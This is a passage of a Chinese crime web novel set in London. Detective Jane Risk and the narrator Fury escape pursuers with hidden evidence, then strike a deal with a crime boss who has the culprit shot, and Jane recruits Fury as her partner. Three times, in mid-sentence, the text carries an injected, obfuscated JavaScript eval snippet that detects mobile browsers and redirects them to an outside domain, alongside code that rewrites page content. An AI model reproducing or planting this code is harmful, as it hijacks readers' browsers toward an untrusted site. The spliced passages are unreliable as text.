“哼……”一声极其轻微的带着嘲讽意味的冷哼传来。接着，高跟鞋的声音再次响起，是朝着门口的方向。 “咔哒。”门被轻轻关上了。 脚步声在门外走廊渐渐远去。 我瘫软地掉在壁炉里，冷汗浸透了后背的衣衫，大口喘着气，肺部火辣辣地疼。 “呼……”一声同样压抑着，如释重负的喘息，几乎同时在我头顶上方响起！ 我猛地抬头！ 只见简像一只沾满煤灰的蜘蛛，四肢张开，以一种不可思议的角度，紧紧贴附在壁炉上靠近天花板的阴影角落里！ 她的身体几乎与黑暗融为一体，只有那双浅绿色的眼睛，在昏暗中闪烁着劫后余生的锐利光芒。她刚才就藏在那里！离格林小姐的视线只有咫尺之遥！ “你……”我刚想开口，声音嘶哑得像破风箱。 “嘘！”简的眼神瞬间变得无比锐利，她无声地朝我做了个噤声的手势，同时用下巴示意了一下门口的方向。 格林小姐的脚步声虽然远去，但并未完全消失，空气中那股冷冽的花香也尚未散尽。危险并未解除。 简像一片没有重量的羽毛，悄无声息地从高处滑落下来，落在我身边，动作轻巧得没有激起一丝声响。 她迅速扫视了我一眼，确认我没有受伤，随即看向那个巨大的橡木书架，确切地说，是书架中间偏下位置，那本被其中一个打手粗暴抽出又扔在地上的厚重精装书。 《牛津词典》。 就是它！ 简没有立刻去捡，而是警惕地侧耳倾听了几秒走廊外的动静，只有远处模糊的喧哗。她这才迅速弯腰，捡起那本沾满灰尘的词典。 我的心提到了嗓子眼。她翻开厚重的硬皮封面，手指精准地探入扉页内侧的夹层，然后掏出小刀一点点沿着边缘裁开。 成了！ 她的手指夹出了一张折叠得异常整齐，只有火柴盒大小的薄纸片。 她甚至没有展开查看，只是迅速用指尖捻了一下纸张边缘，确认无误后，便将它塞进了自己风衣内侧一个极其隐蔽的口袋里。 证据到手！ 简的眼神没有放松，反而更加凝重。她迅速环顾办公室，最后定格在房间另一侧。 那扇被厚重的墨绿色天鹅绒窗帘遮挡着的落地窗上。窗外是出版社的后巷。 “烟道太慢，风险高，他们可能很快会再回来检查。”简的声音压得极低，“走窗户！快！” 换条路！这让我精神一振，但随即又紧张起来。窗户？外面是二楼，而且楼下可能还有人！ 简已经行动起来。她没有冲向窗户，而是猛地扑向那张巨大的橡木办公桌！ 她动作快得惊人，双手抓住沉重的桌沿，爆发出惊人的力量，竟将那巨大的办公桌硬生生地向门口方向推动了半米！桌面上的东西哗啦啦倾倒滚落，发出刺耳的噪音。 “你干什么？！”我惊骇地低呼。 “制造障碍，拖延时间！”简喘息着解释，同时已经转身冲向窗边。她一把抓住窗帘边缘，用力一扯！ “嘶啦！” 厚重的窗帘连同积年的灰尘一起被扯落大半，昏暗的光线瞬间涌入，尘埃在空气中乱颤。窗外下方堆着些废弃的木箱和杂物，高度令人眩晕。 更糟糕的是，窗户被一道坚固的老式插销锁着，而且似乎锈死了！ 简没有丝毫停顿。她后退半步，目光锁定插销，抬起穿着结实皮靴的脚，狠狠踹向窗框插销下方的位置！ “砰！！！” 一声巨响！老旧的木窗框应声碎裂！插销连同周围的木头一起崩开！玻璃窗剧烈震动，但没有碎（幸好是厚玻璃）。 这巨大的声响在寂静的办公楼里无异于一声惊雷！ “该死！什么声音？！”走廊远处立刻传来惊疑的呼喝声和急促跑来的脚步声！格林小姐的人被惊动了！ “走！”简厉喝一声，一手猛地推开已经松动的窗户，冰冷的夜风瞬间灌入。她另一只手闪电般伸向我，抓住我的胳膊，几乎是将我拖拽着冲向窗口！ “跳下去！别怕，我会接住你的”她的话简洁而强硬，不容置疑。 楼下后巷暂时还没出现人影，但楼上和走廊的脚步声已经越来越近！那股冷冽的花香似乎也随着混乱的人声再次隐隐飘来…… 没有时间犹豫了！ 我闭上眼睛，深吸一口冰冷的空气，在简的助力下，猛地翻出了窗台！ 冰冷的夜风呼啸着灌入耳膜，无法控制的失重！ “唔！”一声闷哼。 我落入了一个温暖的怀抱。 “别出声！”简一把捂住我的嘴，另一只手死死按住我的肩膀，将我整个人用力按进墙角一堆巨大的散发着恶臭的黑色垃圾袋后面！ “砰！！！” 几乎就在我们蜷缩进阴影的同一秒，一声震耳欲聋的枪响撕裂了后巷的寂静！ 楼上办公室的窗户口，一个人影探出，枪口还冒着青烟！紧接着，第二个脑袋也冒了出来！ “他们在下面！抓住他们！”气急败坏的吼声从楼上传来。杂乱的脚步声和更多的呼喊声在楼内响起，显然惊动了大批人手。 “该死！跳下去了！” “快！楼梯！后门堵住！” 楼上的追兵反应极快，但寻找楼梯，冲下楼需要时间！这宝贵的几秒钟，就是简利用那堆巨大垃圾袋制造稍纵即逝的盲区！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973580|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简屏住呼吸，浅绿色的眸子在黑暗中锐利如鹰，死死盯着后巷通往主街的那个出口。我也顺着她的目光望去，心瞬间沉入谷底。 就在巷口昏黄的路灯光晕边缘，几个身形健硕的男人悄然出现，迅速而无声地封锁了出口！他们站位精准，眼神警惕地扫视着巷内。在他们中间，一个高挑优雅的身影缓缓踱步而出。 冷冽，复杂，带着危险甜腻与辛辣的栀子花香气，即使隔着一段距离和垃圾的恶臭，也清晰地弥漫过来。 格林小姐。 她脸上依旧挂着那副无可挑剔的得体微笑，目光如同探照灯般扫过后巷的每一个角落，最终似乎有意无意地，在我们藏身的垃圾堆方向停顿了半秒。那笑容里，带着猫捉老鼠般的从容和一丝冰冷的嘲讽。 “仔细搜。她们跑不远。”她轻柔的声音在寂静的后巷里异常清晰。 前有堵截，后有追兵！我们被困在这了。 完了！这次真的完了！证据就在简的身上，我们却要在这里被瓮中捉鳖！ 就在这令人窒息的绝望时刻，简突然动了！她的动作快如闪电，却并非冲向任何一个方向，而是猛地从风衣内侧那个极其隐蔽的口袋里，掏出了那张至关重要的凭证！ 紧接着，她做出了一个我完全无法理解的举动！ 她将那张小小的纸片，卷成一个更细更紧的纸卷，然后用两根手指，以一种极其隐蔽且精准的弹射动作，将它“嗖”地一声，弹向了我们斜上方，那栋建筑二楼一个敞开着，看起来废弃已久的通风口！ 纸卷在空中划出一道几乎看不见的弧线，精准无比地落入了那个黑黢黢的通风口深处，消失不见！ 整个过程在不到两秒内完成，无声无息，连近在咫尺的我都差点没看清！ 我惊愕地看向简。她的眼神没有丝毫犹豫或惋惜，只有一种孤注一掷的决绝和冰冷的计算。 “别管它。跟我来，低头！”她几乎是贴着我的耳朵低语，声音带着不容置疑的命令。 简后来才和我说，那其实是计划好的。 “我们总不能带着证据到处跑，弗瑞，只有它不确定位置，才是一个合理的威胁。”那时她这么说着。 但是，亲爱的读者，这可对当时的我造成了极大的惊吓。 不等我反应，她猛地抓住我的手腕，拉着我，不是冲向巷口或巷尾，而是紧贴着墙壁，以垃圾袋为掩护，猫着腰，用最快的速度冲向巷子深处。 “她们在那边！”封锁巷口的打手终于发现了我们的移动！格林小姐冰冷的目光也瞬间锁定！ “抓住她们！”楼上的追兵也冲下了后门，脚步声和呼喝声从巷尾传来！ 我们被彻底堵在了死胡同里！ 死胡同尽头是高耸的砖墙和一堆散发着酸腐味的空酒桶。 简拉着我冲到墙根，在追兵扑到眼前的最后一刻，她猛地蹲下，双手抓住一个看起来锈迹斑斑毫不起眼的圆形铁栅栏盖板的边缘！ 和我们来时的地下水道相似。 “下去！”简用力将我推向洞口。 我没有任何选择，闭着眼，手脚并用地钻了下去。 紧接着，简也滑了下来，反手“哐当”一声将铁盖重新盖好！ 几乎就在盖子合拢的瞬间，头顶上传来沉重的脚步声和酒桶被踢翻的哗啦声！ “人呢？！” “见鬼！跑哪去了？” “搜！肯定还在附近！” 追兵的怒吼和杂乱的脚步声在头顶响起，铁盖被踩得哐哐作响。 我们不敢停留，经过无数的岔道和分支，简终于停了下来。 她靠在冰冷的混凝土管壁上，微微喘息，但眼神依旧锐利。 然后，她拿出一个造型奇特，像怀表又像罗盘的小巧装置，按了几下，似乎在发送某种信号。 “凭证安全了。”她收起装置，声音带着一丝疲惫，但更多的是如释重负的冰冷，“我的信使会确保它到达该去的地方。” “那我们现在……”我声音嘶哑，浑身湿冷疼痛。 简看向黑暗管道的深处，那眼神仿佛穿透了厚重的混凝土和泥土，直视着某个位于城市心脏阴影中的庞然大物。 “现在，”她把散落的碎发重新别到耳后，“该我们去拜访一下那位‘金环蛇’先生了。” “跟紧我，弗瑞小姐。接下来的路，才是真正的深渊。” 9. 1.8 “但是！里斯克小姐，我想你知道，我们拿到的仅仅只是那些…不太…的证据，但是他并不能洗清我的嫌疑！还有…！” 在恐慌和喜悦之后冷静下来的我，控制不住的向身旁的里斯克小姐发问。 “没事的，弗瑞。”简拉着我，我们像两道影子，在城市的阴暗角落快速穿行。 “已经足够了。” 足够？ 我当时并未明白简为什么要这么说。 时至今日，我终于明白。 霍顿先生为之付出生命的那些证据，简还有他伙伴调查出来的那些我不知道的东西，不过都是筹码，足够我们参与谈判的筹码。 足够我们去保全自己的筹码。 我们甚至没有时间去洗漱和打理，已是黄昏，我们顶着煤灰和恶臭停在一座高大灰色建筑前。 它沉默地矗立在街角，没有招牌，没有窗户，只有一扇沉重的黑色大门，散发出一种拒人千里的冰冷气息。 门楣上方，一个蛇形金属浮雕，在微弱的光线下泛着不祥的幽光。 金环蛇！ 我的心提到了嗓子眼。 简上前一步，对着门上一个不起眼的传声孔低语了几个音节，那声音低沉模糊，我完全无法分辨。 片刻的死寂后，门无声地向内滑开一条缝。门缝后，一双毫无感情，如同爬行动物般的眼睛，冰冷地扫视着我们，让我浑身发冷。简挺直了脊背，毫无退缩地与那目光对视。几秒钟的漫长等待后，门才完全敞开。 “请进，里斯克小姐，还有旁边这位小姐。”那声音冰冷且意味莫名，如同毒蛇吐信。 “不用怕。”简拉着我的手紧了紧，她走在我的前面，大半身子挡住了我。 一股浓烈而复杂的味道瞬间将我包裹。 昂贵雪茄，威士忌，金钱……这些奢华的气息之下，却顽固地缠绕着一丝难以言喻的，冰冷的，属于爬行类的腥气。 内部是极致的低调奢华，深色胡桃木，厚重的暗红地毯，光线幽暗得如同黄昏提前降临，空气凝滞得仿佛真空。 这里不是俱乐部。 是巢穴。 是盘踞在黑暗深处的毒蛇的巢穴。 然后，我看到了她。 格林小姐。 她就站在大厅深处，背对着入口，身姿依旧优雅得无可挑剔，仿佛在欣赏墙壁上一幅描绘着扭曲藤蔓与隐秘蛇影的油画。 那股熟悉又令人心悸的清冽栀子花香，混杂着危险甜腻与辛辣的气息，瞬间盖过了其他所有的味道。 她听到了我们的脚步声，缓缓地，如同慢放的镜头，转过身来。 她的脸上挂着那副我见过无数次的无可挑剔的温和微笑。但这一次，那笑容没有一丝暖意。 她的目光像毒蛇，首先落在简的身上，带着一种审视和……不易察觉的了然？ 然后，那目光才滑向我。她的眼神在我的脸上停留了一瞬，嘴角的弧度似乎加深了那么一丝丝，快得让我以为是错觉。 那不是嘲讽，更像是一种……确认？ “弗瑞小姐，”她的声音依旧轻柔悦耳，“还有里斯克小姐。真是……令人意外的造访。” 她微微侧身，做了一个优雅的“请”的手势，指向大厅侧面一扇紧闭的镶嵌着繁复蛇纹铜饰的沉重木门。 “先生正在等你们。我想，你们有非常重要的‘事情’要谈。” 她强调了“事情”这个词，和我身前的简对视着。 “当然，格林小姐。看来你就是那个最近得宠的新人？原谅我低估你了。”简笑着，说话的时候，喉咙滚动带起那个深刻的疤痕。 然后他们并没有如预想的一样，继续寒暄下去，简伸手，用力握了一下我的手腕。那力道带着警告，也带着一丝几乎难以察觉的安抚。然后率先走向那扇门。 我深吸一口气，努力压下恐惧，强迫自己迈动发软的腿，跟在简身后。 门被侍者无声地推开。 房间很大，却异常压抑。 深色的窗帘紧闭，唯一的光源来自壁炉里跳跃的火焰和书桌上那盏光线集中的台灯。台灯的光晕之外，是深沉的阴影。 在书桌后巨大的高背皮椅里，坐着一个人影。光线只照亮了他放在书桌上的手。手指修长，骨节分明，皮肤保养得极好，正无意识地用指腹轻轻摩挲着一件东西。 那东西在灯光下反射出冰冷的带着鳞片质感的幽光。 是一条活着的小金环蛇！它温顺地盘绕在他苍白的手指间，蛇信偶尔嘶嘶吐出，冰冷的竖瞳映着火光。 “先生。向您问安。”简的声音打破了死寂，平静得不带一丝波澜，仿佛只是在进行日常问候。她站在光晕边缘，身影挺拔如标枪，直面着那片阴影中的存在。 “里斯克小姐？怎么又把自己弄得这样狼狈？这次还带着一位有教养的小姐。”一个声音响起。 那声音低沉，沙哑，听不出喜怒，却蕴含着令人心悸的掌控力。 “小姐？向你问好？”那位先生这么漫不经心地说着，手却仍然把玩着小蛇。 说实话。我当时完全不知道自己应该怎么办。我只能用力地握着简小姐，支撑自己不要倒下。 我不能害怕，不能露怯。 这大概是我那本《淑女礼仪指南》里从未提及过的场合。 庆幸的是，我不是独自一人。 “先生。”简站在我的前面。 “我们有着霍金斯谋杀艾奥瓦·霍顿的证据。以及，他利用您的渠道，伪造珍本销毁清单，中饱私囊，甚至试图将罪名嫁祸给弗瑞小姐的所有细节。” 阴影中的人影没有动，只有他手指间那条小蛇缓缓地滑动了一下。一股无形的压力弥漫开来，沉重得让我几乎站立不稳。 “哦？” “霍金斯……那个蠢货。”轻飘飘的，却带着千钧的重量。 “格林，告诉我，里斯克小姐说的是真的吗？” 我完全不知道格林小姐是什么时候出现在门口的。 她没有进来，只是恭敬地站在门边阴影里，声音清晰而冷静。 “先生，里斯克小姐所言属实。我已核查过霍金斯近期的部分账目，确实存在无法解释的大额亏空，流向与部分清单中部分珍本的黑市交易记录高度吻合。他不仅贪婪，更愚蠢地将人命官司引入了我们的……业务范畴。” 她的措辞极其谨慎，将“谋杀”说成“人命官司”，将“金环蛇”的非法活动称为“业务范畴”，每一句都在精准地打击霍金斯，将他彻底钉死在“破坏规矩， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973581|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带来风险”的耻辱柱上，同时将自己和“金环蛇”的核心利益撇得干干净净。 她的话音刚落，房间另一侧的阴影里传来一阵如同困兽般的粗重吼声。 霍金斯！ 他竟然一直被关在这里！ 他在阴影的笼子里，脸色惨白，额头青筋暴跳，指着格林小姐，声音因为极度的恐惧和愤怒而扭曲变调。 “她撒谎！先生！是她！是她默许我这么做的！她需要钱！她想摆脱……” “够了！”阴影中，那只摩挲着小蛇的手猛地抬起，做了一个极其轻微的动作。 “砰！” 一声沉闷的声响！ 霍金斯的咆哮戛然而止。他难以置信地瞪大了眼睛，身体晃了晃。 他甚至没来得及发出最后一声哀嚎，就直挺挺地向后倒去，重重砸在地毯上，发出一声闷响。 鲜血从他脑后迅速洇开，在地毯上蔓延成一片鲜红的，令人作呕的污迹。 我死死捂住嘴，才没让尖叫冲破喉咙。胃里翻江倒海，眼前阵阵发黑。 一条生命，就在我眼前，像碾死一只蚂蚁般被轻易抹去。 阴影中，金环蛇先生的声音依旧平静无波，甚至带着一丝厌倦。 “清理掉。” 两个如同影子般的人无声地出现，动作麻利地将霍金斯的尸体拖了出去，仿佛只是搬走一件碍事的垃圾。 房间重新恢复了死寂。 我能感觉到简握住我的手更加用力了。 金环蛇先生的目光（我虽然看不清他的脸，却能清晰地感受到那目光的转移）似乎落在了我身上。 “弗瑞·本小姐，”那高位的声音响起，“你的不幸遭遇，源于一个废物的贪婪和愚蠢。现在，他已为自己的罪行付出了代价。你的嫌疑，自然洗清了。” 我的嫌疑……洗清了？ 我茫然地看着那片阴影，巨大的冲击让我几乎无法思考。 这就是……所谓的“清白”？用另一个人的生命，用如此血腥的方式？ “警察那边，”他继续说道，语气平淡得像在谈论天气。 “会收到一份指向霍金斯的确凿证据。他谋杀艾奥瓦·霍顿，并试图嫁祸于你的罪行，会有一个清晰的结论。” “至于圣玛丽出版社……”他顿了顿，“如果你愿意，你可以回去工作。当然，如果你更愿意领取一笔补偿，安静地离开这个……伤心之地，也是明智的选择。” 这是交易！ 用霍金斯的命和一份伪造的“证据”，换取我的“清白”和对更大黑暗的沉默！我感到一阵冰冷的愤怒和巨大的无力。 他的目光转向简，那无形的压力瞬间加重了数倍。 “里斯克小姐，”他的声音还是那么高高在上，有着掌控十足的平静，“你手上的那些‘小东西’（他指的显然是那些能指向康诺特公爵和更核心交易的凭证和清样），是个麻烦。让它们消失。” “永远消失。” 简沉默着。 她站在光与影的交界处，侧脸在跳动的炉火映照下显得异常冷硬。 我能感觉到她全身都在高度紧绷。 死寂。 沉默。 呼吸。 终于，简开口了。 10. 1.9 “如您所愿。”简的声音异常冰冷。 “很好。”阴影中传来一声几不可闻的叹息，又像是某种确认。 “记住这个平衡，里斯克，或者，简…金环蛇在某些领域，可以对你和你所关心的人，保持一定的……距离。” 这是一个危险的承诺，也是一个更危险的警告。 脆弱的协议在心照不宣达成。 “告辞。” 简干脆利落地说完，拉着我转身离开。 “我等着你的回来。”背后的男人说。 简没有任何的停顿。 经过门口时，格林小姐依旧站在那里。 她的目光似乎落在我的脸上，又似乎只是穿透了我，望着虚空。 那一瞬间，我捕捉到她眼底深处一闪而过的情绪，不是得意，不是嘲讽，而是一种近乎……空洞的疲惫？以及一丝难以言喻的解脱？ 没有言语。没有交流。只有空气中那缕冷冽复杂的香味在她周身弥漫。 简拉着我，重新投入外面无比自由的空气之中。 警察的“效率”高得惊人。 第二天一早，报纸头条就刊登了“圣玛丽出版社经理霍金斯畏罪自杀，留下忏悔书承认谋杀艾奥瓦·霍顿并栽赃弗瑞小姐”的消息。 忏悔书内容详实（当然是伪造的），动机是“觊觎珍本价值，被艾奥瓦发现后痛下杀手，并嫁祸于偶然发现线索的弗瑞小姐以脱罪”。 一切都“合情合理”。 我的嫌疑被彻底洗清。 至于那拙劣的嫁祸，还有所谓的“我”出现在出版社的照片，还有格林小姐的证词，谁会在追究呢？ 出版社新经理亲自登门（在一个阳光明媚的下午，伦敦难得放晴，仿佛之前的阴霾从未存在），表达了“深切歉意”和“诚挚慰问”，并奉上一笔数目可观的“精神赔偿金”，同时委婉地暗示，如果我愿意“休养身心”，暂时不必考虑回出版社工作。 我平静地接受了赔偿金，并明确表示不会再回去。 那个地方，连同那栋灰色建筑里的冰冷腥气，已成为我噩梦的底色。 生活似乎回到了正轨。 但我知道，一切都不同了。 我经历过的，我见证过的，将永远无法从我的记忆里抹去。 “你不会真的把那些东西销毁的，对吗？” 对于我的问题，简只是抬头，看向伦敦仿佛永远灰蒙蒙的天空，“那些已经没用了。” 我不明白。 但我绝定去相信简·里斯克。 我没有立刻去找新工作，而是让自己休息一下。我需要时间去思考。 简反倒一直跟着我，就算她不在，我身旁也有麻雀（也许还有其他人）跟着。 几天后一个晴朗宁静的午后，我坐在梅菲尔公园一张临湖的长椅上，试图用面包屑吸引几只小鸟。 阳光暖融融地洒在身上，驱散了一些心底的寒意。 一阵熟悉的独特香味，随风飘来。 我身体瞬间僵硬，没有回头。 脚步声停在长椅旁。 然后，她坐了下来。 格林小姐。 这个我从未真正了解过的女性。 她穿着一身剪裁完美的鸽灰色套装，戴着一顶小巧的网纱帽，优雅得如同来参加一场花园茶会。 她没有看我，只是和我一样，望着湖面。 沉默。 只有风声，鸟类的低鸣，和远处孩子们的嬉笑声。 阳光在我们之间流淌，沉默蔓延着。 她没有任何开场白。 只是从她那只精致的手袋里，取出一个没有任何标记的米白色信封。她没有递给我，只是轻轻放在我们之间的长椅上。 然后，她站起身。动作依旧优雅从容。 在她转身离开前的那一刹那，我们的目光终于短暂地交汇了。 她的眼神里没有歉意，没有威胁，也没有亲近。只有一种深切的，冰冷的，洞悉一切的理解。 她理解我的恐惧，我的愤怒，我的沉默。 我也在那一瞬间，仿佛穿透了她完美的外壳，看到了一丝被金环蛇缠绕的无法挣脱的疲惫和……某种扭曲的生存之道。 她微微颔首，如同我们第一次在出版社走廊相遇时那般得体，然后转身，高跟鞋踩在碎石小径上，发出清脆而规律的声响，渐渐融入公园里散步的人群。 那股独特的香味，在空气中萦绕了片刻，也终于被阳光和青草的气息冲淡消散。 我低下头，看着长椅上那个信封。 我没有立刻去碰它。阳光照在信封上，一片空白，没有任何信息。 里面会是什么？ 一张足以让我无忧的支票？一份能彻底抹去我与这场噩梦最后关联的证明？一个关于我父亲政敌的致命把柄？还是一张印着蛇纹，代表着“金环蛇”势力范围内“安全通行”的无声警告？ 我不知道。 我也不急着知道。 我只是静静地坐着，看着湖面波光粼粼，看着远处自由飞翔的鸟儿。 劫后余生的平静之下，是暗流涌动。 我知道。 简·里斯克，那位独特且锋利的女性。 此刻或许就在不远处某棵大树下，或者公园对面咖啡馆的窗后，默默地守护着这场无声交易的最后一环，也守护着我暂时的安宁。 阳光很暖，风很轻。 但我指尖触碰到的信封边缘，却带着一丝挥之不去的冰凉。 这信封，最终在壁炉里化为一小撮灰烬，随着伦敦的烟囱废气飘散。 我没有打开它。 让那份“馈赠”或“警告”永远保持未知，是我对那个扭曲世界最后的倔强。 出版社的赔偿金提供了喘息的空间，但我无法再回到助理或家庭教师的生活。 我无视了家族，还有父母送过来的各种各样的信件，谴责，关心，要求……同时避开了可能会来找我的人，换了一个住所。 我租住在一间狭小的顶层阁楼。 窗外是连绵的灰雨和铅灰色的屋顶。 麻雀偶尔会像一阵风般出现，留下一个装着必需品（有时还夹杂着一本晦涩的密码学入门或城市地下管道图册）的包裹，又悄然消失。 简·里斯克本人，我却再也没正式见过。 但我能感觉到那双浅绿色眼睛的注视，如同无形的丝线，在城市的阴影中若隐若现。 各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973582|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种报纸（尤其是泰晤士报）的边角，偶尔会出现独特的女私家侦探侦破案件的报道。我则是小心翼翼地将这些裁剪装订下来。 转机发生在一个阴郁的周一下午。 雨水敲打着天窗，我正在费力地解读麻雀上次留下的，关于某种密写药水配方的潦草笔记（并成功烧焦了房东太太的一个茶壶底）。 门被敲响了，不是麻雀那种轻快的节奏，而是两下沉稳的不容置疑的叩击。 我的心猛地一跳。 是她。 打开门，简·里斯克站在狭窄的楼梯平台上。雨水顺着她深色油布雨衣的帽檐滴落，在她脚下积成一小片水洼。 她又没带伞，脸色在楼道昏暗的光线下显得比记忆中更苍白，那道深刻的疤痕在衣领中若隐若现。 “弗瑞小姐。”她的声音带着室外的寒气，依旧简洁。 “里斯克小姐。”我侧身让她进来。空间顿时显得更加逼仄。 她的目光迅速扫过房间，烧焦的茶壶，摊开的密码笔记，墙上我尝试用图钉和线连接起来的几则关于神秘案件的剪报。 最后，那目光落在我脸上，带着审视。 “你还在研究这些？”她朝笔记和剪报扬了扬下巴，语气听不出褒贬。 “总得……找点事做。” 我试图掩饰声音里的局促，“而且，有些事……”我想起报纸上那些被草草带过的，语焉不详的案件，那些被归咎于“私奔”或“道德败坏”的悲剧，“让人无法视而不见。” 简没有回应，径直走到我那张摇摇晃晃的小桌前，拿起一份我圈点过的报纸。 那是关于一位名叫艾米安·丽德的女演员的报道。 她指控加德·杜维恩伯爵（一位以慈善家和艺术赞助人闻名的政治家）长期骚扰和恐吓，却反被对方以“诽谤和妄想症”起诉。 报道的腔调充满暗示，质疑艾米安的精神状态和动机。 “加德·杜维恩，”简的声音低沉，指关节在报纸上艾米安那张苍白惊恐的小照片旁轻轻敲了敲，“道貌岸然的毒蛇。” 我心中一震：“你认识他？” “认识？”简的嘴角扯出一个冰冷的弧度，“他那些恶事可是在暗处广为流传。” “那警察呢？”我心里其实早有答案。 “警察？指望霍华德那种人？”她发出一声极轻的充满嘲讽意味的嗤笑。 “他们更愿意相信一位伯爵的体面，而不是一个女演员的眼泪。法庭？那是他这种人用金钱和影响力编织的另一个陷阱。” “难道……就没人能帮艾米安小姐吗？” 简终于将目光从报纸上移开，牢牢锁定我。 “这就是我来找你的原因，弗瑞。” 她的声音不高，却带着一种奇特的重量，“艾米安·丽德，还有其他人，他们需要证据，需要一把能刺穿伪善面具的尖刀。警察不会帮他们，法庭可能背叛他们。” “他们需要……我们。” 我们？ 亲爱的读者，你们可以想象的我听到这个次的激动吗？简·里斯克，用她浅绿色的眼睛，如此认真且专注的看着我，背后的含义让我心跳加速。 她说。 我们。 11. 1.10 “我擅长在阴影中行走，和底层的人们交流，找到那些被刻意掩埋的‘真相’。” “但我需要一双眼睛。” “一双能理解那些恐惧，愤怒和绝望，能走进那些沙龙，茶会，慈善晚宴，而不被立刻当成威胁的眼睛。” 她的目光锐利地看着我，“弗瑞小姐，你曾经是那个体面世界的一部分。你知道它的规则，它的语言，它的虚伪。更重要的是……” 她停顿了一下，眼神中闪过一丝复杂难辨的情绪，带着……一种罕见的坦诚。 她指了指我墙上那些剪报，“你不愿‘视而不见’的固执，很重要。” 阁楼里只剩下雨声和我们两人的呼吸声。 她的话语像惊雷在我脑海中炸响。 她不是在招募一个助手，她在邀请一个搭档。 一个共同踏入战场，为艾米安·丽德，也为无数个“艾米安”而战的搭档。 “你想让我做什么？”我的声音有些沙哑，但异常清晰。 “成为我的眼睛和耳朵，在那些我无法轻易踏足的地方。”简语速加快，带着行动前的紧迫感。 “接近杜维恩的圈子，他的夫人，他的秘书，他常去的俱乐部成员。倾听那些贵妇人的‘闲谈’，观察那些仆役间交换的眼神。找出过去的受害者，那些被钱和权堵住嘴的女孩。找到艾米安被威胁，被骚扰的具体证据。” “书信，目击者，任何能钉死他的东西。” “当然，不止这个案子，还有以后，其他相关需要的时候，你要深入所谓的上层社会。” 她描述的战场没有硝烟，却同样致命。 那是我熟悉的“体面世界”，此刻却成了需要渗透的敌营。 “这很危险，弗瑞。”简的声音沉下来，带着不容忽视的警告，“我们要面对的不再是霍金斯那种小角色。杜维恩根基深厚，手段阴狠，而且非常警觉。一旦发现你在调查……” “我知道。”我打断她，迎上她的目光。 “但我更知道，如果没有人站出来，艾米安·丽德就会被彻底碾碎。还会有下一个艾米安。下下一个。” 我深吸一口气，“告诉我该怎么做，简。” 当我说出她的名字，而不是“里斯克小姐”时，她的眼神似乎微微闪动了一下。 “很好。”她点头，那是一种正式的接纳。 “首先，你不能继续住在这里。太容易被找到，也太不安全。收拾东西，只带必需品。麻雀一小时后会来帮你处理后续。” “去哪里，查令十字街？” “不，不是那，在圣比得里，隐蔽，顶楼，邻居大多是艺术家和怪人，不会多管闲事。”她顿了顿，“那里是安全屋。你会有自己的房间。” 合租？安全屋？这远超我的预想。 “租金呢？”我下意识地问。 简的嘴角似乎极其轻微地向上牵动了一下，快得难以捕捉。 “你负责整理情报，管理线人，学习必要的技能，以及在必要时，成为那把刺向伪善的‘社交匕首’。这就是你的租金。” 她的目光扫过我，“另外，保管好你的赔偿金。那是你的退路。任何时候，如果你想离开，或者我认为你该离开了，这笔钱能让你安全地消失，开始新的生活。” “安全地消失”。 她再次强调了选择的代价与自由。 “我明白了。” 收拾的过程异常迅速。衣物，笔记，家族的胸针，几本珍爱的书（包括那本讽刺的《淑女礼仪指南》）。 简提着我的东西，带着我在伦敦迷宫般的街道中穿行，最终停在一栋看起来有些年头的红砖公寓楼后巷。 这里比我的旧公寓地段好得多，但也更安静，行人稀少。我们从一扇不起眼的后门进入，爬上一段狭窄的楼梯。 她打开那扇厚重的木门。 门内并非我想象的冰冷堡垒，而是一个……相当宽敞，格局奇特的公寓。 有点类似她在查令十字街12号的空间。 客厅很大，但光线被厚重的深色窗帘遮去大半。装满各种文档的书架，老旧的皮质沙发，巨大的信息墙。 但沉默了生活化的，杂乱无序的东西。 “这里……是你的家？”我有些迟疑地问。 “是落脚点。”简纠正道，脱下风衣挂在门后衣帽架上，露出里面贴身的深色高领毛衣和工装裤。 她把我的东西递给我，然后指向客厅另一边一扇关着的门，“那是你的房间。浴室在走廊尽头。厨房很小，但能用。” “查令十字街12号，是我用来接见线人和委托的地方，以后你也会在那工作。” 她走到书架前，抽出一个厚厚的硬皮笔记本，放在我的手心里。 “这是你的第一课。” 她指着笔记本，“里面是一些我记的基本的知识，还有……一些你需要认识的‘朋友’和‘敌人’的面孔及特征。” “尽快看完，为了你的安全。” “明天，我将会带着你了解我们的第一个目标，加德·杜维恩。” “现在，弗瑞，欢迎你的到来和加入。”简郑重地说着，并给了我一个拥抱。 窗外，伦敦的雨幕笼罩着千家万户，无数悲欢离合在暗处上演。 